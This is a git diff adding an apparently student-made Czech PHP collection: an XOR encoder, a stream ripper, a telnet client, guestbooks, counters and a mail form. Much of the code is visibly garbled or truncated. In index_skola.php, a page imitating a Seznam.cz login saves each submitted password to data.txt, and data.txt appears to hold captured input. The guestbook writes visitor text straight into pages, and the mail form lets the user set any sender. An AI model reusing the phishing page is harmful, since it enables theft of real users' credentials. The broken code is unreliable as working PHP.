0000000..d99ae1f --- /dev/null +++ b/php/skripty/xor_8bits.php @@ -0,0 +1,16 @@ + diff --git a/php/skripty/xor_enc.php b/php/skripty/xor_enc.php new file mode 100644 index 0000000..f7cc160 --- /dev/null +++ b/php/skripty/xor_enc.php @@ -0,0 +1,84 @@ + out.txt\n"); } + +//echo($argv[0]."\n"); +//$code = $argv[1]; +//$message = implode("", file($argv[2])); +$message = "&.( h(-fKH-)!F +g%«ÍH$,7 +Y"; +$code = "gfgFHJghGjhghjfVHGhjGhjGvvXfgdTGfHgHfgFhfVBGcftDtFzdfdgfgf6ztFzF"; + + + +//Message to bin array: +$i = 0; +$message_bin = ""; +while($i < strlen($message)) { + $message_bin = ($message_bin . bin_trim(base_convert(ord($message[$i]),10,2)). "\n " ); + $i++; +} +//echo ($message_bin."\n\n"); //Debug + +$message_bin = explode(" ",$message_bin); + +//Encode: +$i = 0; +$y = 0; +while ($i < strlen($message)) { + + $char = $message_bin[$i]; + $cchar = bin_trim( base_convert( ord($code[$y]), 10, 2) ); + + //echo($code[$y]); //Debug + //echo($cchar."\n"); //Debug + //echo($char); //Debug + + $message[$i] = chr( base_convert(xor_bytes($char, $cchar),2,10 )); + + $y++; + if ($y >= strlen($code)) { $y = 0; } + $i++; + +} + +echo($message); + +?> diff --git a/php/sshb.php b/php/sshb.php new file mode 100644 index 0000000..fb27d6f --- /dev/null +++ b/php/sshb.php @@ -0,0 +1,17 @@ +#!/usr/bin/php + 1) $in = $argv[1]; +$out = explode('/', $in); $out = trim($out[sizeof($out)-1]); +if($argc > 2) $out = $argv[2]; +if($argc > 3) $len = $argv[3]; + +$i=1; +while(is_file($out)) { + $sout = $i.'-'.$out; + if(!is_file($sout)) $out = $sout; + $i++; +} + +//Banner +echo("Rippin' da stream $in...\nSaving to $out\nc-C to stop\n\n"); + +//Init +$total = @(filesize($in)); +$in = fopen($in, 'rb'); +$out = fopen($out, 'wb'); +$b = 0; +$sp = 'N/A'; +$perc = 'N/A'; +$st = time(); + +while(!feof($in) && !feof($out)) { + //Info + $t = time()-$st; + $s=$t%60; + $m=floor($t/60); + $kb=floor($b/1000); + $mb=floor($b/1000000); + if($s!=0) $sp = round($kb/$s, 2); + if(is_int($total)) $perc = ceil($b/$total*100); + echo("$mb MB = $kb KB == $m:$s Mins == $perc% == $sp kB/s (avg.) \r"); + + //Download + $data = fgets($in,$len); + fputs($out,$data); + $b = $b+strlen($data); + } +echo("\n"); + +//Fclose all +fclose($in); +fclose($out); diff --git a/php/stredni-php/data.txt b/php/stredni-php/data.txt new file mode 100755 index 0000000..217d87e --- /dev/null +++ b/php/stredni-php/data.txt @@ -0,0 +1 @@ +000000000000001111asdasdafsdfsdfmoje heslosdfsdfsdsdfsdfìšýáíéfafdfafsdasfdasfads \ No newline at end of file diff --git a/php/stredni-php/delete.php b/php/stredni-php/delete.php new file mode 100755 index 0000000..9466aa8 --- /dev/null +++ b/php/stredni-php/delete.php @@ -0,0 +1,8 @@ + diff --git a/php/stredni-php/gbook.txt b/php/stredni-php/gbook.txt new file mode 100755 index 0000000..5f28270 --- /dev/null +++ b/php/stredni-php/gbook.txt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/stredni-php/gbook2.php b/php/stredni-php/gbook2.php new file mode 100755 index 0000000..339a8bd --- /dev/null +++ b/php/stredni-php/gbook2.php @@ -0,0 +1,225 @@ + + + + + +Kniha NávÅ¡těv - (c) 2oo6 - Harvie + + + + + + + + +
    +
    +

    Kniha návštěv

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + +

    + Text příspěvku:
    + +

    + +

    + + +

    + + + +

    + +

    + + + +
    + +
    + +", $text); + $text = str_replace("[/b]","", $text); + + $text = str_replace("[i]","", $text); + $text = str_replace("[/i]","", $text); + + $text = str_replace("[u]","", $text); + $text = str_replace("[/u]","", $text); + + $text = str_replace("[tt]","", $text); + $text = str_replace("[/tt]","", $text); + + $text = str_replace("[pre]","
    ", $text);
    +		$text = str_replace("[/pre]","
    ", $text); + +$text = nl2br($text); + + //Zjištění data a času + //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí + $datum = Date("j/m/Y H:i:s", Time()); + + //Otevření souboru + $fp = FOpen ("gbook.txt", "a+"); + + //Zápis dat do souboru + FWrite ($fp, "
    \n"); + + FWrite ($fp, "\n"); + + FWrite ($fp, "
    ".$title."
    \n"); + FWrite ($fp, "
    vložil: ".$name." - ".$contact."
    \n"); + FWrite ($fp, "
    ".$datum."

    \n"); + + FWrite ($fp, "
    \n"); + FWrite ($fp, $text); + FWrite ($fp, "\n
    \n\n"); + + //Uzavření souboru + FClose ($fp); + + //Výpisy + echo "Příspěvek byl korektně uložen!
    Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!
    "; + +else: + + echo "Nezapomeňte vyplnit všechna pole!"; + +endif; + +?> +
    + + + + + diff --git a/php/stredni-php/index_skola.php b/php/stredni-php/index_skola.php new file mode 100755 index 0000000..6ad3478 --- /dev/null +++ b/php/stredni-php/index_skola.php @@ -0,0 +1,77 @@ +"; + +echo $_POST["domain"]; +echo "
    "; + +echo $_POST["password"]; +echo "
    "; +echo "
    "; + +echo "HELL-O-WORLD!!!
    "; +echo "
    "; + +echo << +

    Pøihlásit se uživatelským jménem Seznam.cz

    +

    + + + + + + + + +

    +

    + + + +

    +

    + - Co to je? +

    +

    + + + + + + + + + + + +

    + + + +END; + +echo '+ '. ($a + $b) ."
    "; +echo "- ". ($a - $b) ."
    "; +echo "/ ". ($b / $a) ."
    "; +echo "* ". ($a * $b) ."
    "; +echo "
    "; + +$fp = FOpen ("data.txt", "a"); //a = doplnìní w = zápis r = ètení +FWrite ($fp, $_POST["password"]); // uloží obsah promìnné $data do souboru data2.txt + +?> \ No newline at end of file diff --git a/php/stredni-php/jurasek_gbook.txt b/php/stredni-php/jurasek_gbook.txt new file mode 100755 index 0000000..efa259f --- /dev/null +++ b/php/stredni-php/jurasek_gbook.txt @@ -0,0 +1,879 @@ + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +d +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + diff --git a/php/stredni-php/mailer/mail.html b/php/stredni-php/mailer/mail.html new file mode 100755 index 0000000..a1e3ebb --- /dev/null +++ b/php/stredni-php/mailer/mail.html @@ -0,0 +1,7 @@ +
    +Prijemce:
    +Vas mail:
    +Predmet:
    +Zprava:
    + +
    diff --git a/php/stredni-php/mailer/mail.php b/php/stredni-php/mailer/mail.php new file mode 100755 index 0000000..ea0f4c9 --- /dev/null +++ b/php/stredni-php/mailer/mail.php @@ -0,0 +1,6 @@ + diff --git a/php/stredni-php/main.html b/php/stredni-php/main.html new file mode 100755 index 0000000..e69de29 diff --git a/php/stredni-php/phpinfo.php b/php/stredni-php/phpinfo.php new file mode 100755 index 0000000..0f89c90 --- /dev/null +++ b/php/stredni-php/phpinfo.php @@ -0,0 +1 @@ + diff --git a/php/stredni-php/pocitadlo.php b/php/stredni-php/pocitadlo.php new file mode 100755 index 0000000..a9a4c3a --- /dev/null +++ b/php/stredni-php/pocitadlo.php @@ -0,0 +1,15 @@ + diff --git a/php/stredni-php/pocitadlo.txt b/php/stredni-php/pocitadlo.txt new file mode 100755 index 0000000..3cacc0b --- /dev/null +++ b/php/stredni-php/pocitadlo.txt @@ -0,0 +1 @@ +12 \ No newline at end of file diff --git a/php/stredni-php/pocitadlo2.php b/php/stredni-php/pocitadlo2.php new file mode 100755 index 0000000..f8a7299 --- /dev/null +++ b/php/stredni-php/pocitadlo2.php @@ -0,0 +1,20 @@ +"); + else: + $fp = FOpen ("pocitadlo.txt", "w"); + FWrite ($fp, $pocet); + FClose ($fp); + setcookie('pricteno', 'true', time()+3600); //sekundy - 3600 = 1hodina, 1000 000 = 11dni + endif; + +echo ("Navstev: " . $pocet); + +?> diff --git a/php/stredni-php/redakce/gbook.txt b/php/stredni-php/redakce/gbook.txt new file mode 100755 index 0000000..5f28270 --- /dev/null +++ b/php/stredni-php/redakce/gbook.txt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/stredni-php/redakce/gbook2.php b/php/stredni-php/redakce/gbook2.php new file mode 100755 index 0000000..339a8bd --- /dev/null +++ b/php/stredni-php/redakce/gbook2.php @@ -0,0 +1,225 @@ + + + + + +Kniha Návštěv - (c) 2oo6 - Harvie + + + + + + + + +
    +
    +

    Kniha návštěv

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + +

    + Text příspěvku:
    + +

    + +

    + + +

    + + + +

    + +

    + + + +
    + +
    + +", $text); + $text = str_replace("[/b]","", $text); + + $text = str_replace("[i]","", $text); + $text = str_replace("[/i]","", $text); + + $text = str_replace("[u]","", $text); + $text = str_replace("[/u]","", $text); + + $text = str_replace("[tt]","", $text); + $text = str_replace("[/tt]","", $text); + + $text = str_replace("[pre]","
    ", $text);
    +		$text = str_replace("[/pre]","
    ", $text); + +$text = nl2br($text); + + //Zjištění data a času + //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí + $datum = Date("j/m/Y H:i:s", Time()); + + //Otevření souboru + $fp = FOpen ("gbook.txt", "a+"); + + //Zápis dat do souboru + FWrite ($fp, "
    \n"); + + FWrite ($fp, "\n"); + + FWrite ($fp, "
    ".$title."
    \n"); + FWrite ($fp, "
    vložil: ".$name." - ".$contact."
    \n"); + FWrite ($fp, "
    ".$datum."

    \n"); + + FWrite ($fp, "
    \n"); + FWrite ($fp, $text); + FWrite ($fp, "\n
    \n\n"); + + //Uzavření souboru + FClose ($fp); + + //Výpisy + echo "Příspěvek byl korektně uložen!
    Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!
    "; + +else: + + echo "Nezapomeňte vyplnit všechna pole!"; + +endif; + +?> +
    + + + + + diff --git a/php/stredni-php/redakce/redakce.php b/php/stredni-php/redakce/redakce.php new file mode 100755 index 0000000..de05b71 --- /dev/null +++ b/php/stredni-php/redakce/redakce.php @@ -0,0 +1,41 @@ + + + + + +Redakce - (c) 2oo6 - Harvie + + + + + + +
    +
    + Login:
    + Password:
    + + Soubor: + + + + +
    +
    + + + diff --git a/php/stredni-php/ukaz.php b/php/stredni-php/ukaz.php new file mode 100755 index 0000000..a03fee0 --- /dev/null +++ b/php/stredni-php/ukaz.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/php/stredni-php/zadejjm.php b/php/stredni-php/zadejjm.php new file mode 100755 index 0000000..03000bf --- /dev/null +++ b/php/stredni-php/zadejjm.php @@ -0,0 +1,10 @@ +
    + + + + + + + + +
    \ No newline at end of file diff --git a/php/telnet b/php/telnet new file mode 100755 index 0000000..3cc183d --- /dev/null +++ b/php/telnet @@ -0,0 +1,19 @@ +#!/usr/bin/php + 1) $host = $argv[1]; else die($usage); +$port = 23; if($argc > 2) $port = $argv[2]; +if($argc > 3) die($usage); + +echo("Connecting to $host:$port...\n"); +$sock = pfsockopen($host, $port); +if($sock) echo("Connected!\n\n"); else die("Failed!\n"); +$stdin = fopen('php://stdin', 'r'); +stream_set_blocking($sock, 0); +stream_set_blocking($stdin, 0); + +while(!feof($sock) && !feof($stdin)) { + echo(fgetc($sock)); + fwrite($sock, fgetc($stdin)); +} \ No newline at end of file diff --git a/php/term.php b/php/term.php new file mode 100755 index 0000000..38b65be --- /dev/null +++ b/php/term.php @@ -0,0 +1,62 @@ +#!/usr/bin/php += 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); } + else { echo("\033[".trim($atr1).'m'); } +} +//Screen clearing +function term_cls() { echo("\033[2J"); } //Clear screen +function term_free_line() { echo("\033[K"); } //Delete line from cursor to end +//Movement +function term_return() { echo("\r"); } //Move cursor to 1st col +function term_tab() { echo("\t"); } //Print TAB +function term_newline() { echo("\n"); } //Move cursor to next line +function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up +function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down +function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right +function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left +//Position +function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col +function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col +//Position saving +function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported) +function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported) +//Info about terminal +function term_name() { return getenv('TERM'); } //Returns terminal name as string +function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string +function term_shell() { return getenv('SHELL'); } //Returns running shell as string +function term_directory() { return getenv('PWD'); } //Returns working directory as string +function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string +//Showcase +function term_demo() { //Print demonstration + term_font(); + echo("DEMOnstration of PHPTerm for Unixs' terminals\n". + term_name().' - '.term_color_name().' ('.term_shell(). + ")\n\t\t\t\t<-Harvie 2oo7\n\n"); + for($i = 0; $i <= 8; $i++) { + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + term_font(); + for($y = 40; $y <= 47; $y++) { + term_font($y); echo("A"); + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + } + term_font(); + echo("\n"); + } + term_font(); echo("\n"); +} + + +term_demo(); \ No newline at end of file diff --git a/php/testauth.php b/php/testauth.php new file mode 100755 index 0000000..1a72d56 --- /dev/null +++ b/php/testauth.php @@ -0,0 +1,4 @@ + +
    LOGIN DOBREJ
    +Logout!
    +
    \ No newline at end of file diff --git a/php/urls.php b/php/urls.php new file mode 100644 index 0000000..962e7ec --- /dev/null +++ b/php/urls.php @@ -0,0 +1,6 @@ +